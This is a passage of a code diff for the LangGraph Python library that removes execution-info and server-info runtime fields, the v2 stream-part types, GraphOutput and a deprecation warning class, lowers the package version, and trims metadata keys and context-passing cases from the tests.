None when running without a checkpointer (i.e., no persistence)."""
run_id: str | None = None
"""The run ID for the current execution.
None when `run_id` is not provided in the RunnableConfig."""
node_attempt: int = 1
"""Current node execution attempt number (1-indexed)."""
node_first_attempt_time: float | None = None
"""Unix timestamp (seconds) for when the first attempt started."""
def patch(self, **overrides: Any) -> ExecutionInfo:
"""Return a new execution info object with selected fields replaced."""
return replace(self, **overrides)
@dataclass(frozen=True, slots=True)
class ServerInfo:
"""Metadata injected by LangGraph Server. None when running open-source LangGraph without LangSmith deployments."""
assistant_id: str
"""The assistant ID for the current execution."""
graph_id: str
"""The graph ID for the current execution."""
user: BaseUser | None = None
"""The authenticated user, if any.
This implements the `BaseUser` protocol from `langgraph_sdk.auth.types`,
which supports both attribute access (e.g. `user.identity`) and dict-like
access (e.g. `user["identity"]`).
"""
__all__ = ("Runtime", "get_runtime")
def _no_op_stream_writer(_: Any) -> None: ...
@@ -82,8 +22,6 @@ class _RuntimeOverrides(TypedDict, Generic[ContextT], total=False):
store: BaseStore | None
stream_writer: StreamWriter
previous: Any
execution_info: ExecutionInfo
server_info: ServerInfo | None
@dataclass(**_DC_KWARGS)
@@ -91,7 +29,7 @@ class Runtime(Generic[ContextT]):
"""Convenience class that bundles run-scoped context and other runtime utilities.
This class is injected into graph nodes and middleware. It provides access to
`context`, `store`, `stream_writer`, `previous`, and `execution_info`.
`context`, `store`, `stream_writer`, and `previous`.
!!! note "Accessing `config`"
@@ -177,14 +115,6 @@ class Runtime(Generic[ContextT]):
Only available with the functional API when a checkpointer is provided.
"""
execution_info: ExecutionInfo | None = field(default=None)
"""Read-only execution information/metadata for the current node run.
None before task preparation populates it."""
server_info: ServerInfo | None = field(default=None)
"""Metadata injected by LangGraph Server. None when running open-source LangGraph without LangSmith deployments."""
def merge(self, other: Runtime[ContextT]) -> Runtime[ContextT]:
"""Merge two runtimes together.
@@ -197,8 +127,6 @@ class Runtime(Generic[ContextT]):
if other.stream_writer is not _no_op_stream_writer
else self.stream_writer,
previous=self.previous if other.previous is None else other.previous,
execution_info=other.execution_info or self.execution_info,
server_info=other.server_info or self.server_info,
)
def override(
@@ -207,23 +135,12 @@ class Runtime(Generic[ContextT]):
"""Replace the runtime with a new runtime with the given overrides."""
return replace(self, **overrides)
def patch_execution_info(self, **overrides: Any) -> Runtime[ContextT]:
"""Return a new runtime with selected execution_info fields replaced."""
if self.execution_info is None:
msg = "Cannot patch execution_info before it has been set"
raise RuntimeError(msg)
return replace(
self,
execution_info=self.execution_info.patch(**overrides),
)
DEFAULT_RUNTIME = Runtime(
context=None,
store=None,
stream_writer=_no_op_stream_writer,
previous=None,
execution_info=None,
)
+2 -287
View File
@@ -16,25 +16,16 @@ from typing import (
)
from warnings import warn
from langchain_core.messages import AnyMessage
from langchain_core.runnables import Runnable, RunnableConfig
from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointMetadata
from typing_extensions import NotRequired, TypeAliasType, TypedDict, Unpack, deprecated
from typing_extensions import Unpack, deprecated
from xxhash import xxh3_128_hexdigest
from langgraph._internal._cache import default_cache_key
from langgraph._internal._constants import INTERRUPT as _INTERRUPT_KEY
from langgraph._internal._fields import get_cached_annotated_keys, get_update_as_tuples
from langgraph._internal._retry import default_retry_on
from langgraph._internal._typing import MISSING, DeprecatedKwargs
from langgraph.warnings import LangGraphDeprecatedSinceV10, LangGraphDeprecatedSinceV11
# Local TypeVars for generic stream TypedDicts.
# We use separate TypeVars here (rather than importing from langgraph.typing)
# because the typing module TypeVars have defaults that cause mypy issues
# when used in standalone type aliases.
StateT = TypeVar("StateT")
OutputT = TypeVar("OutputT")
from langgraph.warnings import LangGraphDeprecatedSinceV10
if TYPE_CHECKING:
from langgraph.pregel.protocol import PregelProtocol
@@ -53,19 +44,6 @@ __all__ = (
"Checkpointer",
"StreamMode",
"StreamWriter",
"StreamPart",
"ValuesStreamPart",
"UpdatesStreamPart",
"MessagesStreamPart",
"CustomStreamPart",
"CheckpointStreamPart",
"TasksStreamPart",
"DebugStreamPart",
"TaskPayload",
"TaskResultPayload",
"CheckpointTask",
"CheckpointPayload",
"DebugPayload",
"RetryPolicy",
"CachePolicy",
"Interrupt",
@@ -78,7 +56,6 @@ __all__ = (
"Durability",
"interrupt",
"Overwrite",
"GraphOutput",
"ensure_valid_checkpointer",
)
@@ -136,268 +113,6 @@ StreamWriter = Callable[[Any], None]
Always injected into nodes if requested as a keyword argument, but it's a no-op
when not using `stream_mode="custom"`."""
class TaskPayload(TypedDict):
"""Payload for a task start event."""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node being executed."""
input: Any
"""Input data passed to the task."""
triggers: list[str]
"""List of triggers that caused this task to be executed (e.g. channel writes)."""
class TaskResultPayload(TypedDict):
"""Payload for a task result event."""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node that was executed."""
error: str | None
"""Error message if the task failed, otherwise `None`."""
interrupts: list[dict]
"""List of interrupts that occurred during task execution."""
result: dict[str, Any]
"""Mapping of channel names to the values written by this task."""
class CheckpointTask(TypedDict):
"""A task entry within a `CheckpointPayload`.
The keys present depend on the task's state:
- **Error:** `id`, `name`, `error`, `state`
- **Has result:** `id`, `name`, `result`, `interrupts`, `state`
- **Pending:** `id`, `name`, `interrupts`, `state`
"""
id: str
"""Unique identifier for this task."""
name: str
"""Name of the node being executed."""
error: NotRequired[str]
"""Error message, present only if the task failed."""
result: NotRequired[Any]
"""Result of the task, present only if the task completed successfully."""
interrupts: NotRequired[list[dict]]
"""List of interrupts, present when the task has been interrupted or completed."""
state: StateSnapshot | RunnableConfig | None
"""Snapshot of the subgraph state, or a `RunnableConfig` pointing to it. `None` if not a subgraph."""
class CheckpointPayload(TypedDict, Generic[StateT]):
"""Payload for a checkpoint event."""
config: RunnableConfig | None
"""Configuration for this checkpoint, including the `thread_id` and `checkpoint_id`."""
metadata: CheckpointMetadata
"""Metadata associated with this checkpoint (e.g. step number, source, writes)."""
values: StateT
"""Current state values at the time of this checkpoint."""
next: list[str]
"""Names of the nodes scheduled to execute next."""
parent_config: RunnableConfig | None
"""Configuration of the parent checkpoint, or `None` if this is the first checkpoint."""
tasks: list[CheckpointTask]
"""List of tasks associated with this checkpoint."""
class _DebugCheckpointPayload(TypedDict, Generic[StateT]):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["checkpoint"]
"""Event type discriminator, always `"checkpoint"`."""
payload: CheckpointPayload[StateT]
"""The checkpoint payload."""
class _DebugTaskPayload(TypedDict):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["task"]
"""Event type discriminator, always `"task"`."""
payload: TaskPayload
"""The task start payload."""
class _DebugTaskResultPayload(TypedDict):
step: int
"""The step number in the graph execution."""
timestamp: str
"""ISO 8601 timestamp of when this event occurred."""
type: Literal["task_result"]
"""Event type discriminator, always `"task_result"`."""
payload: TaskResultPayload
"""The task result payload."""
DebugPayload = TypeAliasType(
"DebugPayload",
_DebugCheckpointPayload[StateT] | _DebugTaskPayload | _DebugTaskResultPayload,
type_params=(StateT,),
)
"""Wrapper payload for debug events. Discriminate on `type`."""
class ValuesStreamPart(TypedDict, Generic[OutputT]):
"""Stream part emitted for `stream_mode="values"`.
`data` contains the full state after each step, as returned by `read_channels()`.
"""
type: Literal["values"]
ns: tuple[str, ...]
data: OutputT
interrupts: tuple[Interrupt, ...]
class UpdatesStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="updates"`.
`data` maps node names to their outputs. May also contain
`__interrupt__` (tuple of `Interrupt` dicts) and `__metadata__` keys.
"""
type: Literal["updates"]
ns: tuple[str, ...]
data: dict[str, Any]
class MessagesStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="messages"`.
`data` is a 2-tuple of `(message, metadata)` where `message` is a
`BaseMessage` (e.g. `AIMessageChunk`) and `metadata` is a dict containing
keys like `langgraph_step`, `langgraph_node`, `langgraph_triggers`, etc.
"""
type: Literal["messages"]
ns: tuple[str, ...]
data: tuple[AnyMessage, dict[str, Any]]
class CustomStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="custom"`.
`data` is whatever value was passed to `StreamWriter` inside a node.
"""
type: Literal["custom"]
ns: tuple[str, ...]
data: Any
class CheckpointStreamPart(TypedDict, Generic[StateT]):
"""Stream part emitted for `stream_mode="checkpoints"`."""
type: Literal["checkpoints"]
ns: tuple[str, ...]
data: CheckpointPayload[StateT]
class TasksStreamPart(TypedDict):
"""Stream part emitted for `stream_mode="tasks"`.
For task start events, `data` is a `TaskPayload` with `id`, `name`,
`input`, and `triggers` keys.
For task result events, `data` is a `TaskResultPayload` with `id`,
`name`, `error`, `interrupts`, and `result` keys.
"""
type: Literal["tasks"]
ns: tuple[str, ...]
data: TaskPayload | TaskResultPayload
class DebugStreamPart(TypedDict, Generic[StateT]):
"""Stream part emitted for `stream_mode="debug"`."""
type: Literal["debug"]
ns: tuple[str, ...]
data: DebugPayload[StateT]
StreamPart = TypeAliasType(
"StreamPart",
ValuesStreamPart[OutputT]
| UpdatesStreamPart
| MessagesStreamPart
| CustomStreamPart
| CheckpointStreamPart[StateT]
| TasksStreamPart
| DebugStreamPart[StateT],
type_params=(StateT, OutputT),
)
"""A discriminated union of all v2 stream part types.
Use `part["type"]` to narrow the type:
```python
async for part in graph.astream(input, version="v2"):
if part["type"] == "values":
part["data"] # OutputT — full state (pydantic/dataclass/dict)
elif part["type"] == "messages":
part["data"] # tuple[BaseMessage, dict] — (message, metadata)
elif part["type"] == "custom":
part["data"] # Any — user-defined
```
"""
@dataclass(frozen=True)
class GraphOutput(Generic[OutputT]):
"""Typed container returned by `invoke()` / `ainvoke()` with `version="v2"`.
Attributes:
value: The final output of the graph (dict, Pydantic model, dataclass, etc.).
interrupts: Any interrupts that occurred during execution.
"""
value: OutputT
interrupts: tuple[Interrupt, ...] = ()
def __getitem__(self, key: str) -> Any:
"""Backward compat: `result['__interrupt__']` and dict-key access."""
warn(
"Accessing GraphOutput via `result[key]` is deprecated. "
"Use `result.value` to access the output value directly, "
"or `result.interrupts` for interrupts.",
LangGraphDeprecatedSinceV11,
stacklevel=2,
)
if key == _INTERRUPT_KEY:
return self.interrupts
if isinstance(self.value, dict):
return self.value[key]
try:
return getattr(self.value, key)
except AttributeError:
raise KeyError(key)
def __contains__(self, key: object) -> bool:
warn(
"Accessing GraphOutput via `key in result` is deprecated. "
"Use `result.value` to access the output value directly, "
"or `result.interrupts` for interrupts.",
LangGraphDeprecatedSinceV11,
stacklevel=2,
)
if key == _INTERRUPT_KEY:
return bool(self.interrupts)
if isinstance(self.value, dict):
return key in self.value
return isinstance(key, str) and hasattr(self.value, key)
_DC_KWARGS = {"kw_only": True, "slots": True, "frozen": True}
-8
View File
@@ -6,7 +6,6 @@ __all__ = (
"LangGraphDeprecationWarning",
"LangGraphDeprecatedSinceV05",
"LangGraphDeprecatedSinceV10",
"LangGraphDeprecatedSinceV11",
)
@@ -60,10 +59,3 @@ class LangGraphDeprecatedSinceV10(LangGraphDeprecationWarning):
def __init__(self, message: str, *args: object) -> None:
super().__init__(message, *args, since=(1, 0), expected_removal=(2, 0))
class LangGraphDeprecatedSinceV11(LangGraphDeprecationWarning):
"""A specific `LangGraphDeprecationWarning` subclass defining functionality deprecated since LangGraph v1.1.0"""
def __init__(self, message: str, *args: object) -> None:
super().__init__(message, *args, since=(1, 1), expected_removal=(3, 0))
+2 -2
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project]
name = "langgraph"
version = "1.1.5"
version = "1.0.10"
description = "Building stateful, multi-actor applications with LLMs"
authors = []
requires-python = ">=3.10"
@@ -27,7 +27,7 @@ dependencies = [
"langchain-core>=0.1",
"langgraph-checkpoint>=2.1.0,<5.0.0",
"langgraph-sdk>=0.3.0,<0.4.0",
"langgraph-prebuilt>=1.0.9,<1.1.0",
"langgraph-prebuilt>=1.0.8,<1.1.0",
"xxhash>=3.5.0",
"pydantic>=2.7.4",
]
+2 -38
View File
@@ -14,12 +14,8 @@ from langgraph.func import entrypoint, task
from langgraph.graph import StateGraph
from langgraph.graph.message import MessageGraph
from langgraph.pregel import NodeBuilder, Pregel
from langgraph.types import GraphOutput, Interrupt, RetryPolicy
from langgraph.warnings import (
LangGraphDeprecatedSinceV05,
LangGraphDeprecatedSinceV10,
LangGraphDeprecatedSinceV11,
)
from langgraph.types import Interrupt, RetryPolicy
from langgraph.warnings import LangGraphDeprecatedSinceV05, LangGraphDeprecatedSinceV10
class PlainState(TypedDict): ...
@@ -201,7 +197,6 @@ def test_deprecated_import() -> None:
@pytest.mark.filterwarnings(
"ignore:`durability` has no effect when no checkpointer is present"
)
@pytest.mark.filterwarnings("ignore:Accessing GraphOutput via")
def test_checkpoint_during_deprecation_state_graph() -> None:
class CheckDurability(TypedDict):
durability: NotRequired[str]
@@ -346,34 +341,3 @@ def test_message_graph_deprecation() -> None:
match="MessageGraph is deprecated in LangGraph v1.0.0, to be removed in v2.0.0. Please use StateGraph with a `messages` key instead.",
):
MessageGraph()
def test_graph_output_getitem_deprecation() -> None:
output = GraphOutput(value={"foo": "bar"})
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `result\[key\]` is deprecated",
):
assert output["foo"] == "bar"
def test_graph_output_contains_deprecation() -> None:
output = GraphOutput(value={"foo": "bar"})
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `key in result` is deprecated",
):
assert "foo" in output
def test_graph_output_getitem_interrupt_deprecation() -> None:
interrupts = (Interrupt(value="q", id="abc"),)
output = GraphOutput(value={"foo": "bar"}, interrupts=interrupts)
with pytest.warns(
LangGraphDeprecatedSinceV11,
match=r"Accessing GraphOutput via `result\[key\]` is deprecated",
):
assert output["__interrupt__"] == interrupts
-15
View File
@@ -1396,10 +1396,8 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
(
@@ -1409,7 +1407,6 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
tool_call_id="tool_call123",
),
{
"ls_integration": "langgraph",
"langgraph_step": 2,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1459,10 +1456,8 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
@@ -1475,7 +1470,6 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
tool_call_id="tool_call234",
),
{
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1490,7 +1484,6 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
tool_call_id="tool_call567",
),
{
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1512,10 +1505,8 @@ def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
@@ -6884,10 +6875,8 @@ def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "router_node"),
"langgraph_checkpoint_ns": AnyStr("router_node:"),
"checkpoint_ns": AnyStr("router_node:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
),
@@ -6912,10 +6901,8 @@ def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "model_node"),
"langgraph_checkpoint_ns": AnyStr("weather_graph:"),
"checkpoint_ns": AnyStr("weather_graph:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
),
@@ -6949,10 +6936,8 @@ def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "router_node"),
"langgraph_checkpoint_ns": AnyStr("router_node:"),
"checkpoint_ns": AnyStr("router_node:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
@@ -1147,10 +1147,8 @@ async def test_prebuilt_tool_chat() -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
(
@@ -1160,7 +1158,6 @@ async def test_prebuilt_tool_chat() -> None:
tool_call_id="tool_call123",
),
{
"ls_integration": "langgraph",
"langgraph_step": 2,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1210,10 +1207,8 @@ async def test_prebuilt_tool_chat() -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
@@ -1226,7 +1221,6 @@ async def test_prebuilt_tool_chat() -> None:
tool_call_id="tool_call234",
),
{
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1241,7 +1235,6 @@ async def test_prebuilt_tool_chat() -> None:
tool_call_id="tool_call567",
),
{
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "tools",
"langgraph_triggers": (PUSH,),
@@ -1263,10 +1256,8 @@ async def test_prebuilt_tool_chat() -> None:
"langgraph_path": (PULL, "agent"),
"langgraph_checkpoint_ns": AnyStr("agent:"),
"checkpoint_ns": AnyStr("agent:"),
"_type": "generic-fake-chat-model",
"ls_provider": "fakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
@@ -3981,10 +3972,8 @@ async def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "router_node"),
"langgraph_checkpoint_ns": AnyStr("router_node:"),
"checkpoint_ns": AnyStr("router_node:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
),
@@ -4009,10 +3998,8 @@ async def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "model_node"),
"langgraph_checkpoint_ns": AnyStr("weather_graph:"),
"checkpoint_ns": AnyStr("weather_graph:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
),
@@ -4046,10 +4033,8 @@ async def test_weather_subgraph(
"langgraph_path": ("__pregel_pull", "router_node"),
"langgraph_checkpoint_ns": AnyStr("router_node:"),
"checkpoint_ns": AnyStr("router_node:"),
"_type": "fake-messages-list-chat-model",
"ls_provider": "fakemessageslistchatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
},
),
]
-5
View File
@@ -6891,10 +6891,8 @@ def test_tags_stream_mode_messages() -> None:
"langgraph_path": ("__pregel_pull", "call_model"),
"langgraph_checkpoint_ns": AnyStr("call_model:"),
"checkpoint_ns": AnyStr("call_model:"),
"_type": "generic-fake-chat-model",
"ls_provider": "genericfakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
"tags": ["meow"],
},
)
@@ -6930,7 +6928,6 @@ def test_stream_mode_messages_command() -> None:
(
_AnyIdHumanMessage(content="foo"),
{
"ls_integration": "langgraph",
"langgraph_step": 1,
"langgraph_node": "my_node",
"langgraph_triggers": ("branch:to:my_node",),
@@ -6941,7 +6938,6 @@ def test_stream_mode_messages_command() -> None:
(
_AnyIdHumanMessage(content="bar"),
{
"ls_integration": "langgraph",
"langgraph_step": 2,
"langgraph_node": "my_other_node",
"langgraph_triggers": ("branch:to:my_other_node",),
@@ -6952,7 +6948,6 @@ def test_stream_mode_messages_command() -> None:
(
_AnyIdHumanMessage(content="baz"),
{
"ls_integration": "langgraph",
"langgraph_step": 3,
"langgraph_node": "my_last_node",
"langgraph_triggers": ("branch:to:my_last_node",),
+5 -19
View File
@@ -7541,10 +7541,8 @@ async def test_tags_stream_mode_messages() -> None:
"langgraph_path": ("__pregel_pull", "call_model"),
"langgraph_checkpoint_ns": AnyStr("call_model:"),
"checkpoint_ns": AnyStr("call_model:"),
"_type": "generic-fake-chat-model",
"ls_provider": "genericfakechatmodel",
"ls_model_type": "chat",
"ls_integration": "langchain_chat_model",
"tags": ["meow"],
},
)
@@ -7578,7 +7576,6 @@ async def test_stream_mode_messages_command() -> None:
(
_AnyIdHumanMessage(content="foo"),
{
"ls_integration": "langgraph",
"langgraph_step": 1,
"langgraph_node": "my_node",
"langgraph_triggers": ("branch:to:my_node",),
@@ -7589,7 +7586,6 @@ async def test_stream_mode_messages_command() -> None:
(
_AnyIdHumanMessage(content="bar"),
{
"ls_integration": "langgraph",
"langgraph_step": 2,
"langgraph_node": "my_other_node",
"langgraph_triggers": ("branch:to:my_other_node",),
@@ -8648,7 +8644,7 @@ async def test_imp_exception(
"name": "LangGraph",
"tags": [],
"run_id": AnyStr(),
"metadata": {"thread_id": "1", "ls_integration": "langgraph"},
"metadata": {"thread_id": "1"},
"parent_ids": [],
},
{
@@ -8659,7 +8655,6 @@ async def test_imp_exception(
"run_id": AnyStr(),
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_workflow",
"langgraph_triggers": ("__start__",),
@@ -8676,7 +8671,6 @@ async def test_imp_exception(
"run_id": AnyStr(),
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8700,7 +8694,6 @@ async def test_imp_exception(
"tags": ["seq:step:1"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8726,7 +8719,6 @@ async def test_imp_exception(
"tags": ["seq:step:1"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8748,7 +8740,7 @@ async def test_imp_exception(
"run_id": AnyStr(),
"name": "LangGraph",
"tags": [],
"metadata": {"thread_id": "1", "ls_integration": "langgraph"},
"metadata": {"thread_id": "1"},
"data": {"chunk": {"my_task": 2}},
"parent_ids": [],
},
@@ -8760,7 +8752,6 @@ async def test_imp_exception(
"run_id": AnyStr(),
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8785,7 +8776,6 @@ async def test_imp_exception(
"run_id": AnyStr(),
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8809,7 +8799,6 @@ async def test_imp_exception(
"tags": ["seq:step:1"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8835,7 +8824,6 @@ async def test_imp_exception(
"tags": ["seq:step:1"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_task",
"langgraph_triggers": ("__pregel_push",),
@@ -8859,7 +8847,6 @@ async def test_imp_exception(
"tags": ["graph:step:4"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_workflow",
"langgraph_triggers": ("__start__",),
@@ -8874,7 +8861,7 @@ async def test_imp_exception(
"run_id": AnyStr(),
"name": "LangGraph",
"tags": [],
"metadata": {"thread_id": "1", "ls_integration": "langgraph"},
"metadata": {"thread_id": "1"},
"data": {"chunk": {"my_task": 2}},
"parent_ids": [],
},
@@ -8886,7 +8873,6 @@ async def test_imp_exception(
"tags": ["graph:step:4"],
"metadata": {
"thread_id": "1",
"ls_integration": "langgraph",
"langgraph_step": 4,
"langgraph_node": "my_workflow",
"langgraph_triggers": ("__start__",),
@@ -8900,7 +8886,7 @@ async def test_imp_exception(
"run_id": AnyStr(),
"name": "LangGraph",
"tags": [],
"metadata": {"thread_id": "1", "ls_integration": "langgraph"},
"metadata": {"thread_id": "1"},
"data": {"chunk": {"my_workflow": "done"}},
"parent_ids": [],
},
@@ -8910,7 +8896,7 @@ async def test_imp_exception(
"run_id": AnyStr(),
"name": "LangGraph",
"tags": [],
"metadata": {"thread_id": "1", "ls_integration": "langgraph"},
"metadata": {"thread_id": "1"},
"parent_ids": [],
},
]
-184
View File
@@ -1,6 +1,5 @@
import re
import sys
from dataclasses import dataclass
from typing import Annotated
from unittest.mock import AsyncMock, MagicMock
@@ -11,7 +10,6 @@ from langchain_core.runnables import RunnableConfig
from langchain_core.runnables.graph import Edge as DrawableEdge
from langchain_core.runnables.graph import Node as DrawableNode
from langgraph_sdk.schema import StreamPart
from pydantic import BaseModel
from typing_extensions import TypedDict
from langgraph.errors import GraphInterrupt
@@ -910,188 +908,6 @@ async def test_ainvoke():
assert result == {"messages": [{"type": "human", "content": "world"}]}
def test_stream_context():
"""Test that context is passed through to the SDK client in stream."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "anthropic", "user_id": "123"}
stream_parts = list(
remote_pregel.stream(
{"input": "data"},
config,
context=context,
stream_mode="values",
)
)
assert stream_parts == [{"chunk": "data1"}]
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "anthropic", "user_id": "123"}
def test_stream_context_none():
"""Test that context defaults to None when not provided."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
list(remote_pregel.stream({"input": "data"}, config, stream_mode="values"))
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] is None
@pytest.mark.anyio
async def test_astream_context():
"""Test that context is passed through to the SDK client in astream."""
mock_async_client = MagicMock()
async_iter = MagicMock()
async_iter.__aiter__.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
mock_async_client.runs.stream.return_value = async_iter
remote_pregel = RemoteGraph(
"test_graph_id",
client=mock_async_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "anthropic"}
chunks = []
async for chunk in remote_pregel.astream(
{"input": "data"},
config,
context=context,
stream_mode="values",
):
chunks.append(chunk)
assert chunks == [{"chunk": "data1"}]
_, kwargs = mock_async_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "anthropic"}
def test_invoke_context():
"""Test that context is passed through to the SDK client in invoke."""
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"result": "done"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"model_name": "openai"}
result = remote_pregel.invoke({"input": "data"}, config, context=context)
assert result == {"result": "done"}
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == {"model_name": "openai"}
@pytest.mark.anyio
async def test_ainvoke_context():
"""Test that context is passed through to the SDK client in ainvoke."""
mock_async_client = MagicMock()
async_iter = MagicMock()
async_iter.__aiter__.return_value = [
StreamPart(event="values", data={"result": "done"}),
]
mock_async_client.runs.stream.return_value = async_iter
remote_pregel = RemoteGraph(
"test_graph_id",
client=mock_async_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
context = {"user_id": "456"}
result = await remote_pregel.ainvoke({"input": "data"}, config, context=context)
assert result == {"result": "done"}
_, kwargs = mock_async_client.runs.stream.call_args
assert kwargs["context"] == {"user_id": "456"}
def test_stream_context_dataclass():
"""Test that a dataclass context is passed through to the SDK client."""
@dataclass
class MyContext:
model_name: str
user_id: str
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
"test_graph_id",
sync_client=mock_sync_client,
)
config = {"configurable": {"thread_id": "thread_1"}}
ctx = MyContext(model_name="anthropic", user_id="123")
list(
remote_pregel.stream(
{"input": "data"}, config, context=ctx, stream_mode="values"
)
)
_, kwargs = mock_sync_client.runs.stream.call_args
assert kwargs["context"] == ctx
def test_stream_context_base_model():
"""Test that a BaseModel context is passed through to the SDK client."""
class MyContext(BaseModel):
model_name: str
user_id: str
mock_sync_client = MagicMock()
mock_sync_client.runs.stream.return_value = [
StreamPart(event="values", data={"chunk": "data1"}),
]
remote_pregel = RemoteGraph(
